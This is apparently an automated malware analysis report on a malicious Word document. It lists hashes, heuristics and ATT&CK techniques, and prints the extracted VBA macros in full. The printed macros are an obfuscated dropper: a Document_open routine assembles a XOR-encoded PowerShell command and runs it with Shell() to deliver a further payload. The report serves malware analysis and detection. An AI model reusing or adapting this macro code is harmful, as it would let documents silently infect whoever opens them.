Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c499ff27c9aae934…

MALICIOUS

Office (OLE)

113.5 KB Created: 2018-06-18 13:24:00 Authoring application: Microsoft Office Word First seen: 2018-06-25
MD5: 2e676ea0c7ace5b6075a5d6ceed862ae SHA-1: c7e1a63a36829a73853808891ccfcdcfc1fcecf3 SHA-256: c499ff27c9aae9342ca96f55c0354734944138627dbbfa53aab2d87de6c1114c
132 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing VBA macros. The 'Document_Open' macro is configured to execute, and a critical heuristic indicates a Shell() call within the VBA code. The script attempts to construct and execute a PowerShell command, indicated by the concatenation of strings like 'PwSWcOGrO' and 'OwerSH'. This suggests the document is designed to deliver a secondary payload via PowerShell.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    WhEhSM = 11927 / 86661
KIKXbQAbv = wibPQD + Shell(GNPpiorTQYY + LLjYS + CvjFF, 11166 - 11166)
NnnWrF = OArlW * CSng(96701 * Fix(68907)) * vbwinV + CSng(wiIOad + CLng(jnwwz)) / (zDkhQ * CSng(50952) - (54095 + Fix(mENJWk) - (67518 + CLng(acGFX - Log(ENdimL) - 37152 + Int(nXAjr)))))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16578 bytes
SHA-256: b499d34228470eb01bcd4937d6924d1fbfc8236512a9fc49e18616b2a1916419
Detection
ClamAV: No threats found
Obfuscation or payload: likely
258 of 462 identifiers look randomly generated (e.g. 'OaANMKviZbW'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "PwSWcOGrO"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function WtjXUV()
On Error Resume Next
qzDdA = MuYLXi * CSng(25527 * Fix(22423)) * YMiBrD + CSng(QEHCz + CLng(LndZOO)) / (ckWhk * CSng(21833) - (61982 + Fix(uIbzQc) - (77879 + CLng(IPVNbj - Log(Vzqljk) - 65868 + Int(PwzFnq)))))
QjWYVw = Atn(FjzWpU + Sin(sBkvl) - 1523 / 68900)
cKNKn = 33867 + 25152
AHLzp = DKCpsK
azFMKL = 97449 / 32915
pNXFZ = JlUGP * CSng(54094 * Fix(42153)) * JKDKjl + CSng(LrjokK + CLng(VoABOw)) / (wcjQl * CSng(1885) - (33471 + Fix(luJqN) - (8901 + CLng(TnjYSi - Log(nRpHL) - 30741 + Int(FOOWQK)))))
TuukRr = Atn(piuzt + Sin(VNSqjn) - 54552 / 78703)
MvNpWz = 30349 + 17578
Twtwzt = nAnQzn
bdpBo = 62237 / 60871
itBSQu = CZJia * CSng(554 * Fix(99828)) * VUdCfA + CSng(rijTX + CLng(dojXcT)) / (DwaXt * CSng(70579) - (70029 + Fix(nEUKRf) - (79583 + CLng(SVLcW - Log(WlzWo) - 47524 + Int(aLzjoq)))))
tGIuP = Atn(DaMJG + Sin(oRQBRq) - 78775 / 3413)
KRZKrw = 46214 + 82083
ddoSd = NQMCw
oZWwLG = 24511 / 86933
pzovFj = wENrhp * CSng(61307 * Fix(55252)) * WnDoA + CSng(mDfOlF + CLng(bnCjq)) / (dAXYjb * CSng(36051) - (16861 + Fix(GOkInj) - (27271 + CLng(GUfLMk - Log(qujsc) - 50759 + Int(zwswHw)))))
XNiVw = Atn(QidRWN + Sin(vOLbR) - 29419 / 14932)
ZoQrkT = 20216 + 18125
pbPRj = zqOow
luajOS = 33224 / 74001
WtjXUV = KpcwdUo + Chr$(Psvvz + 80 + OaANMKviZbW) + "OwerSH" + WoUzw + uNaZPIOiW + oNPfGjBsa + RZQTa
Qhsqjl = Hpkiz * CSng(83960 * Fix(26361)) * uzqMHO + CSng(DbIWVj + CLng(QuYiz)) / (HiYkzo * CSng(79482) - (3520 + Fix(JzUDlb) - (33723 + CLng(hbYfiR - Log(KQmEYp) - 11258 + Int(rNVLZ)))))
OSYjZ = Atn(JBSvb + Sin(RrHbUc) - 33652 / 81994)
QOWPT = 87171 + 66696
pQPsXS = zwFzY
jCkdo = 6854 / 66305
tsuij = PoFkOb * CSng(48403 * Fix(55771)) * LGuZwb + CSng(XRSQh + CLng(HEQpY)) / (vXVJq * CSng(69248) - (86881 + Fix(qUlzj) - (41768 + CLng(RSdoL - Log(VUcQQA) - 7229 + Int(BUYCNh)))))
qzDpF = Atn(hCjUj + Sin(zqmmA) - 26467 / 44124)
wqcZX = 27091 + 18454
MvWoE = VawFYn
Cttajp = 59916 / 79624
End Function
Function HsYodirGp(LLjYS)
On Error Resume Next
XoqHEw = dFPls * CSng(3716 * Fix(38797)) * JYvPR + CSng(CHwmk + CLng(zqvlpa)) / (oGjjA * CSng(58747) - (33513 + Fix(tpnvQb) - (41669 + CLng(PIazUV - Log(sVTzFm) - 19188 + Int(vRifTd)))))
ukzPIR = Atn(qUVcQ + Sin(cOczSa) - 77298 / 21764)
vvjnD = 80550 + 28730
CwYOqw = MOhiw
fLKjLr = 57193 / 65343
pjNFnF = GSNmZ * CSng(49496 * Fix(37790)) * OYivG + CSng(GjiBi + CLng(FKKozj)) / (HsAlK * CSng(97852) - (75439 + Fix(ORLDD) - (4682 + CLng(mJKnG - Log(iziDFQ) - 39508 + Int(IYnqQM)))))
NmUwS = Atn(sPWzi + Sin(iXAdMd) - 54462 / 48067)
dWiBhp = 66443 + 24082
NnqHZ = qqndq
WhEhSM = 11927 / 86661
KIKXbQAbv = wibPQD + Shell(GNPpiorTQYY + LLjYS + CvjFF, 11166 - 11166)
NnnWrF = OArlW * CSng(96701 * Fix(68907)) * vbwinV + CSng(wiIOad + CLng(jnwwz)) / (zDkhQ * CSng(50952) - (54095 + Fix(mENJWk) - (67518 + CLng(acGFX - Log(ENdimL) - 37152 + Int(nXAjr)))))
rQNNtB = Atn(iuEEt + Sin(WMVrs) - 55993 / 20019)
HGbilY = 14378 + 89383
InsqTJ = tLVda
WElnQU = 66682 / 33464
End Function
Private Sub Document_open()
On Error Resume Next
IFjuUM = ZchdME * CSng(92172 * Fix(32746)) * dDDGz + CSng(HjXDfL + CLng(ZXrAKz)) / (MwwzmU * CSng(67652) - (77287 + Fix(NOcJs) - (26534 + CLng(oKicwA - Log(RjRiD) - 19548 + Int(Muvjoh)))))
FTdwT = Atn(JpDBBL + Sin(DpcXiM) - 50762 / 64427)
Yatrw = 83033 + 33424
ZEjoiq = ffTMc
VqfiO = 2691 / 38160
cGXpw = RpRIVW * CSng(53057 * Fix(93982)) * pUwXrD + CSng(OFmFNo + CLng(jiBHZc)) / (RtsROq * CSng(4941) - (6719 + Fix(HofMr) - (25833 + CLng(uhzjs - Log(CsZcr) - 70262 + Int(TOCUEX)))))
GFcMpK = Atn(fRhbGT + Sin(Gabsh) - 72 / 82722)
PcrjiX = 35281 + 47470
HTlSp = kuhSW
slwSZm = 86297 / 72170
Application.Run WhiOkKj + "HsYodirGp" + LWzrlmNmFu, tfUSE + WtjXUV + rcWtRM
XXkGNq = XlLmj * CSng(42004 * Fix(37636)) * hnRWqw + CSng(hUZAk + CLng(AAZFK)) / (kwBLbN * CSng(44043) - (43049 + Fix(HkuWhw) - (69063 + CLng(vRkcWq - Log(hNGzW) - 71895 + Int(hVlipf)))))
qJTcEa = Atn(idCPQP + Sin(oZINGl) - 58013 / 26311)
sBkRYN = 76156 + 52393
IEJFIR = SQjCjD
XzKVC = 47155 / 70987
zcCwdt = hGsDH * CSng(24709 * Fix(11192)) * jIIvq + CSng(bdDmt + CLng(NJcHiZ)) / (LdFUW * CSng(47357) - (21558 + Fix(wrAdtQ) - (68606 + CLng(nUZsp - Log(wwJjF) - 84308 + Int(dlZhD)))))
uaolWf = Atn(imDJA + Sin(dwonE) - 62602 / 37881)
GWHtwd = 40356 + 67769
avpWo = ziDNjr
iHKnST = 51543 / 36064
End Sub


Attribute VB_Name = "vzjiObpz"
Function WoUzw()
On Error Resume Next
wfBRJw = FOoOa * CSng(55090 * Fix(51841)) * zikuj + CSng(RsuGuM + CLng(DiFvp)) / (aKcVA * CSng(66129) - (1563 + Fix(lfXGs) - (5739 + CLng(tFmkfR - Log(mGKOjz) - 5079 + Int(iSkLAz)))))
VjCAX = CXzlwZ
UdFsnW = 59953 + 28361
KmwDz = 2752 / 94891
NjMij = Atn(MWACJH + Sin(ZTLJz) - 92710 / 46105)
FYobvOv = "ell &( $EN" + "v:CO" + "msPEC[4,26,25]" + "-j" + "oi" + "n'')(" + Chr(34)
LDZACz = fjiPQ * CSng(58704 * Fix(42863)) * HmhQn + CSng(OzwlA + CLng(YNGqiw)) / (UwbWoE * CSng(19406) - (34635 + Fix(UJTfp) - (36023 + CLng(GdwTNw - Log(aOCXp) - 34479 + Int(ohSjBI)))))
KCqjmq = mcmwj
JLZptL = 29220 + 13864
hUAdfc = 1659 / 92406
PtLduK = Atn(oRVkGi + Sin(NjihXs) - 546 / 15128)
iZlMP = " $(sv 'ofs' " + " '') " + Chr(34) + "+[" + "stR" + "INg](" + "'26o73}" + "68Q87o8" + "7}105Q11"
fHGdI = hzMRZz * CSng(91380 * Fix(55082)) * dwnOl + CSng(OLFvl + CLng(BEiMu)) / (uWidI * CSng(66141) - (47279 + Fix(fZfHp) - (76092 + CLng(SzAAo - Log(ARwAiW) - 64634 + Int(shEfnA)))))
bbBmEs = MuwKPd
jnbbzo = 3945 + 57251
lcaMq = 47172 / 73918
aAoFp = Atn(kofwGw + Sin(jHdMG) - 34720 / 89871)
dwSrsmpiR = "2I30H3_30-80o" + "91<73H19H81Q92" + "<84I91,93H" + "74-30,76I95,8"
ZVGBoY = twIzw * CSng(7747 * Fix(44496)) * LwqJQ + CSng(HHfaU + CLng(woLbAo)) / (CjjCEZ * CSng(98656) - (3081 + Fix(BRhNi) - (44653 + CLng(jFcna - Log(NaaUw) - 28605 + Int(mjzIU)))))
NUUZsK = hkTrVL
CbYiw = 72611 + 7888
kTFbj = 52208 / 70058
Xiwmk = Atn(PHFNt + Sin(vbbfW) - 47125 / 1398)
URVNaiqhTn = "0H90-81o83" + "-5<26<102o72Q92" + "_102Q127,7" + "8H30,3I3" + "0Q80_91I73<19" + "o81Q92"
KYHMk = YVCJh * CSng(37403 * Fix(88195)) * tTNlbt + CSng(CjizZL + CLng(tWYzSG)) / (vSfZu * CSng(17465) - (28996 + Fix(iorQX) - (39141 + CLng(zRLkL - Log(scPKt) - 62054 + Int(jlkAna)))))
dwWMRG = zfVumK
INhND = 75786 + 57249
OBcnk = 95584 / 9014
BhLhkj = Atn(zqFJoY + Sin(WGlivB) - 6490 / 80180)
bJbkcEzW = "<84o91}" + "93,74Q" + "30Q109o71o7" + "7~74,91H83" + "o16<112Q91Q74H1" + "6~105H91H92}12" + "5,82<" + "87H91_80H" + "74_5}26o100o1"
ZuMRzf = sCAlO * CSng(60749 * Fix(84179)) * TEzHj + CSng(jJDGM + CLng(UraSGY)) / (XczAJw * CSng(83767) - (74103 + Fix(uAvWN) - (13112 + CLng(Ffrjct - Log(ILkjnA) - 54437 + Int(fquUYT)))))
bsiIB = jrzjWF
FIvJi = 97016 + 35514
oYPElq = 24519 / 41260
qIrdM = Atn(CKqiN + Sin(UnOoI) - 57612 / 83694)
wOfCmNw = "08o68" + "}10" + "9,116_84" + "-30<3Q30" + ",25-86H74<74" + "}78-4I17Q17-7"
lqhcP = snrVC * CSng(64013 * Fix(10515)) * pfHTz + CSng(zJzVlo + CLng(PfAjTF)) / (qCAfl * CSng(44037) - (82230 + Fix(HKTYv) - (60657 + CLng(tdnuk - Log(ctLqb) - 74729 + Int(IqmjcB)))))
kwtHW = AGSvM
uAZkH = 87754 + 31304
poKkO = 93668 / 32990
nichc = Atn(sBnBMs + Sin(FlXvYU) - 98272 / 25963)
jNEYmlMvOq = "4I91Q9" + "3Q86_87Q9" + "0H" + "76,95I16}" + "93}81,83<16" + "<92-76Q17,91-" + "103<123,14I1"
KHCKip = WsbvkP * CSng(32060 * Fix(31649)) * sjWWpG + CSng(mmDiK + CLng(wrawja)) / (qwrZNj * CSng(49929) - (38608 + Fix(qqtNj) - (91118 + CLng(zvBDhP - Log(bKcuv) - 69286 + Int(miqbI)))))
HDmaz = CmvXbt
FKiinX = 43308 + 36194
POkoi = 69321 / 90964
rzJGjF = Atn(vNlzt + Sin(CaCfW) - 14892 / 51675)
RcNwoOb = "24<84I7" + "7}68H17,126}86<" + "74_74}78H4}17-1" + "7~73-" + "73H73o16o86}"
TThYc = YRCVar * CSng(10286 * Fix(65056)) * SBGYQ + CSng(wfhuBo + CLng(njCAV)) / (jStaU * CSng(35587) - (26211 + Fix(VGSlJr) - (39567 + CLng(saWTTV - Log(AdbvTd) - 36271 + Int(aVAws)))))
ItcJR = QQNrNm
OZfBuh = 90245 + 68279
wtXuAC = 75961 / 85165
bmFCF = Atn(ZOJrwk + Sin(qcdBl) - 27466 / 60168)
DPLznuFqM = "91I95" + "-82o74,86~" + "71}16o89H83" + "H77" + "o74" + "H81_16,"
PkMji = iIFbmW * CSng(86774 * Fix(67749)) * IvYoN + CSng(XWRGcJ + CLng(Lbazv)) / (tJPcnu * CSng(65657) - (16437 + Fix(QbPbA) - (90944 + CLng(dDBjir - Log(vaCjJ) - 93164 + Int(Boazqt)))))
iJBhKR = EGbGF
jwiYc = 80947 + 93570
lKYMd = 28320 / 74280
TlufcQ = Atn(qqAJd + Sin(wWvMNB) - 92218 / 39511)
wWMqTlaAwI = "93,81,83~" + "17~79o76o93" + "-125}12o111" + "I17_126-86" + "_74" + "Q74I7" + "8o4," + "17,17H73,73_7" + "3o16<84_70}"
WoUzw = FYobvOv + iZlMP + dwSrsmpiR + URVNaiqhTn + bJbkcEzW + wOfCmNw + jNEYmlMvOq + RcNwoOb + DPLznuFqM + wWMqTlaAwI
End Function
Function uNaZPIOiW()
On Error Resume Next
ozXQAj = QmsDB * CSng(41982 * Fix(99302)) * DoEoHG + CSng(pPTjks + CLng(zjtbu)) / (DJtRX * CSng(95829) - (80538 + Fix(OBijaD) - (13690 + CLng(aEGdOI - Log(zRwNP) - 77777 + Int(JZbiY)))))
wiNwn = wMchvM
CafKfi = 86315 + 27346
AZkaAG = 84954 / 15809
unQKQl = Atn(NlCKpu + Sin(JpVRH) - 90272 / 2315)
amYBIz = "78<76}87_8" + "0,74" + "Q16,76<" + "75Q17Q" + "121Q84Q8" + "Q68I124~85-17" + "~1" + "26}86"
Xdszn = ZqkUVc * CSng(96331 * Fix(27010)) * jJWCY + CSng(iNGjl + CLng(MFSIYD)) / (ZAUzAv * CSng(42904) - (42875 + Fix(MZjQaN) - (77371 + CLng(bRfFt - Log(mPBHN) - 70697 + Int(MzZDp)))))
MlCbM = KdXHP
oYViw = 38546 + 9385
hwoIlZ = 115 / 55034
MMWGC = Atn(mAjzUK + Sin(RtjGXo) - 61448 / 69512)
ZfqlwuqpE = "_74,74," + "78}4}17<17" + "~14o12o10Q90I8" + "0_9" + "5-16Q93,8" + "0_17Q14~76" + "}121o109I117-10" + "4Q68H75I17-1" + "26_86,74H74" + "<78Q4H17<17H"
CPJaii = StwMA * CSng(7042 * Fix(79069)) * Ywphb + CSng(uQYUbR + CLng(ruSBT)) / (Izccwi * CSng(62326) - (85173 + Fix(buPCbY) - (45784 + CLng(drEuI - Log(kFDNGa) - 98536 + Int(LjRjKw)))))
NbzlrI = zJFAfX
QjwOT = 47296 + 61834
VZRkwj = 65968 / 71153
szvDK = Atn(iFYptT + Sin(oJPqAw) - 84871 / 43738)
QlNVqiwHN = "74-9" + "1Q93H77_91,76o7" + "2I16o75Q77~17,1" + "06Q" + "91I" + "90o77o125H95~76" + "o77" + "-17Q89Q107Q109"
EzziV = asuXnv * CSng(61540 * Fix(86002)) * CRGzCo + CSng(WOzMKN + CLng(hRKNA)) / (AlNnF * CSng(45027) - (31804 + Fix(drbhO) - (83210 + CLng(jKbdXS - Log(ljIbMn) - 25401 + Int(dhfWi)))))
uBsMW = rhwzqi
GWqBR = 51618 + 62751
hiiLd = 95635 / 45156
DTtfY = Atn(sWWfwW + Sin(wGijc) - 8493 / 49018)
DPhMYsw = "_71" + "I81" + "o127H9~17_25" + "I16,109" + "_78~82Q87-74"
zCRFQW = PUudVI * CSng(54047 * Fix(57646)) * KuSPA + CSng(dNrmXC + CLng(VIiYTw)) / (aHGJDS * CSng(58971) - (8942 + Fix(MFhwa) - (60638 + CLng(wktMYE - Log(dwmPw) - 74235 + Int(zpfidC)))))
wclnY = GAEjz
JcipV = 29062 + 98843
DjSSP = 31682 / 4061
IMiGYA = Atn(jqDZqi + Sin(nZjaWt) - 55372 / 21936)
ouidJT = "<22_25," + "126I25~23}5}2" + "6o9" + "5Q80" + ",123"
DHJLzv = aGhPQo * CSng(66873 * Fix(56056)) * wzPOd + CSng(SKfDhM + CLng(NJFAG)) / (oTaqc * CSng(61850) - (61017 + Fix(WThTAM) - (90847 + CLng(LtBRc - Log(wjtNSC) - 86893 + Int(JPhRo)))))
iYBmDG = TvuHi
jqIEJ = 18246 + 30177
wONdAw = 19734 / 34694
VHmhwh = Atn(qwjhAc + Sin(wMzon) - 98235 / 41201)
AGXJBKjR = "<105I118o3" + "0Q3Q30<26}" + "73o68I87,87o" + "105H112~16Q80_9" + "1}70_" + "74,22-" + "15-18-" + "30,9o14o" + "13,6Q"
ipXbKX = Vhwjj * CSng(95415 * Fix(97927)) * aSuFfV + CSng(ENMmiv + CLng(MYMBt)) / (iiLsi * CSng(99130) - (97145 + Fix(zbBMh) - (82173 + CLng(VfskXl - Log(KPYpYR) - 40762 + Int(TiEus)))))
XImwC = dVEBG
jSZnZ = 94933 + 31000
vUtaj = 86133 / 48590
HBWfWi = Atn(mKZAE + Sin(rtURV) - 36338 / 97187)
VLQUhiNd = "13o11" + "H2" + "3~5" + "}26}73I82Q77" + "_93,83H83}30~3" + "_30Q26}9"
MjbucL = dFplif * CSng(73943 * Fix(34018)) * GAdQz + CSng(UMVwr + CLng(EGSOv)) / (LZLEa * CSng(2712) - (91389 + Fix(zLVurS) - (63394 + CLng(NNANzA - Log(PYfUL) - 46708 + Int(XXnWbs)))))
VqoXK = XstnFY
XEwoUN = 57744 + 58006
fujjUB = 76697 / 96303
CacVG = Atn(JqbEY + Sin(itFOhI) - 20909 / 19671)
ijFwSmNZiO = "1<80,72~" + "4o" + "74}91~83<78,3" + "0I21,30~25}9" + "8o25H30-2" + "1,3"
uNaZPIOiW = amYBIz + ZfqlwuqpE + QlNVqiwHN + DPhMYsw + ouidJT + AGXJBKjR + VLQUhiNd + ijFwSmNZiO
End Function
Function oNPfGjBsa()
On Error Resume Next
QiHWj = lmLVsU * CSng(68763 * Fix(65426)) * GiTrp + CSng(XEWiT + CLng(MawWpB)) / (aFQoG * CSng(53578) - (12703 + Fix(bkfcr) - (26243 + CLng(nWwRQ - Log(sdkoMK) - 48182 + Int(PwDSc)))))
cJOGcw = lChpwJ
bvXuER = 16077 + 10812
cjztRh = 89676 / 23782
upuMP = Atn(IwUqGc + Sin(pmaYY) - 71782 / 16195)
cdNvaGOQNO = "0~26_95" + "I80,1" + "23}105Q11" + "8I30_21Q30~2" + "5o16I91_70<91-2"
UaSIuT = BOjjOw * CSng(26447 * Fix(33535)) * owmWE + CSng(kSnSJ + CLng(wUXKwc)) / (jJphSE * CSng(61208) - (52486 + Fix(ZflWV) - (41159 + CLng(qnIdBp - Log(UcJTDt) - 23848 + Int(QUTlE)))))
kRnZT = FKRGMv
hknjZp = 51394 + 58971
kchAB = 28866 / 32555
RUSYrX = Atn(IjmIcj + Sin(WpwsqJ) - 39928 / 8788)
ErtEs = "5<5,88-8" + "1I76<91,95~93}8" + "6H22-26_86}75H" + "86<79Q117" + "-117<3" + "0,87I80" + "<30}26}"
uudMMh = JXrtPj * CSng(46632 * Fix(22856)) * HDztiZ + CSng(IIlZC + CLng(Uzovb)) / (WJMHHJ * CSng(858) - (89038 + Fix(SjmnO) - (26520 + CLng(wactV - Log(VEaIsl) - 4252 + Int(EUIipm)))))
YbiBi = LpEfbb
LaJfC = 50227 + 41954
zQOsXO = 22199 / 58432
wrjhfn = Atn(cwmoKw + Sin(OSiUi) - 77747 / 16816)
XDFCcjbYmG = "100<108~68o1" + "09," + "11" + "6_84}23~69<74}7" + "6}71_" + "69Q26o102H72"
LwlPs = TnQbQ * CSng(39614 * Fix(64505)) * iSwja + CSng(iZIhF + CLng(MnmfYJ)) / (qNdsm * CSng(79313) - (49107 + Fix(CoEKGp) - (77678 + CLng(nsJbCj - Log(pEJQGf) - 1486 + Int(DHQqCF)))))
mmNjSa = HAkhK
EbFrp = 3565 + 50135
YTMCDA = 6431 / 81410
MrAfbl = Atn(WzmYv + Sin(mOiBHc) - 76778 / 76494)
UpZRwY = "}92~102~12" + "7<78H16o122~" + "81H73_80H8" + "2,81<95~90}" + "120Q87<82H91<2" + "2H26,86-75o86Q"
RmjShS = hETIo * CSng(73229 * Fix(16753)) * GwHdAb + CSng(FRulc + CLng(FLibP)) / (Ubwzt * CSng(10212) - (64275 + Fix(jOCpv) - (52830 + CLng(rsRki - Log(OjSYwp) - 49214 + Int(sphZZo)))))
ZUQWnG = vDMPpr
ikBwoZ = 28435 + 67732
uiawP = 15068 / 84799
JzOYT = Atn(XrPEp + Sin(jNTMq) - 62466 / 26666)
wrrCcJwV = "79" + "I117Q1" + "17-16H106_81I1" + "09_74,76I87}80" + "Q89o2" + "2Q23Q1" + "8Q" + "30~26o7" + "3o82_77-93," + "83o"
sMhPfW = JLQjR * CSng(89484 * Fix(77285)) * NdfXI + CSng(QYOFbH + CLng(aRiOwi)) / (JFqCZ * CSng(74417) - (6659 + Fix(ZIXIf) - (76986 + CLng(MhBUMb - Log(SKEObi) - 86925 + Int(UUQQJH)))))
PiTYED = lPpMcl
CTHopN = 48581 + 55129
zKLVLo = 75923 / 5325
dwVaMw = Atn(hSbBz + Sin(zNcRw) - 42134 / 74512)
CEaHtzZ = "83o2" + "3,5}109" + "_74~9" + "5}76" + ",74o19" + "_110_76_81}93" + "-91~77" + "o77I30<26I" + "73Q82-77I93,"
VHfnKF = KTfaM * CSng(43951 * Fix(62071)) * tJifjj + CSng(DLYlmY + CLng(fKtvrz)) / (YQnjP * CSng(59859) - (86158 + Fix(LZCCGv) - (95960 + CLng(SnGuD - Log(PYTcK) - 75801 + Int(jRfiP)))))
IXUqaE = TWFMw
ZinoHr = 97098 + 38504
AONmU = 10363 / 55390
trzRB = Atn(GAwijR + Sin(hzaHk) - 6459 / 26758)
IDipjCUn = "83-83,5o92}76,9" + "1_95H85-5Q" + "67<93-95<74" + "}9" + "3<86_69o73-7" + "6-87H74<" + "91H19o86I" + "81~77H74o30Q2" + "6<9"
JuiBP = cmijcd * CSng(41584 * Fix(80540)) * Paidb + CSng(liqQl + CLng(YdbOzG)) / (wcppK * CSng(21932) - (88115 + Fix(rZkTza) - (58797 + CLng(kbbvw - Log(PokiI) - 6845 + Int(DScXw)))))
vBjwv = IJNXiJ
QpjLF = 10434 + 43704
EjCqX = 76209 / 13041
iZlTSh = Atn(tFGznJ + Sin(IqmYKa) - 49667 / 25421)
XwEOKa = "7H1" + "6~123H70<93}" + "91-78,74" + "<87~81o80_1" + "6Q115o" + "91H77Q77I9" + "5I89Q91<5}67" + "H67'.splIt" + "('-I<,o~}Q" + "_H"
oNPfGjBsa = cdNvaGOQNO + ErtEs + XDFCcjbYmG + UpZRwY + wrrCcJwV + CEaHtzZ + IDipjCUn + XwEOKa
End Function
Function RZQTa()
On Error Resume Next
WRVYj = PrCGzw * CSng(4406 * Fix(74526)) * wNriP + CSng(CvDSRq + CLng(jWabD)) / (iSaWSV * CSng(87513) - (42858 + Fix(YKjkD) - (50501 + CLng(nUBpP - Log(WRFPw) - 24812 + Int(ffXuT)))))
smoQvS = wvsTol
mqzJAM = 60559 + 8020
vJQDZ = 62707 / 22774
HXqZI = Atn(ahWsj + Sin(mcVjFa) - 27976 / 36107)
RXAzMY = "' )| forEA" + "ch-O" + "bjeCt " + "{[" + "chAr] ($_ -B"
jAwLOa = ioPrd * CSng(11079 * Fix(89025)) * rJhmK + CSng(udavjt + CLng(QwXtT)) / (IPzGZW * CSng(46947) - (20289 + Fix(ZtWTcR) - (34533 + CLng(HJOQlX - Log(QijBR) - 85801 + Int(wKQlAr)))))
qRaXz = ctUTpq
ZWiJko = 92739 + 49347
vpWtmh = 90649 / 22771
HQmWQ = Atn(jZQRD + Sin(VPjEYX) - 86172 / 57619)
JMsHiitzNi = "XOR'0x3E' )" + "} )+" + Chr(34) + " $(sET-va" + "riabLe  'o" + "fS'  ' ' )" + Chr(34) + ")"
RZQTa = RXAzMY + JMsHiitzNi
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.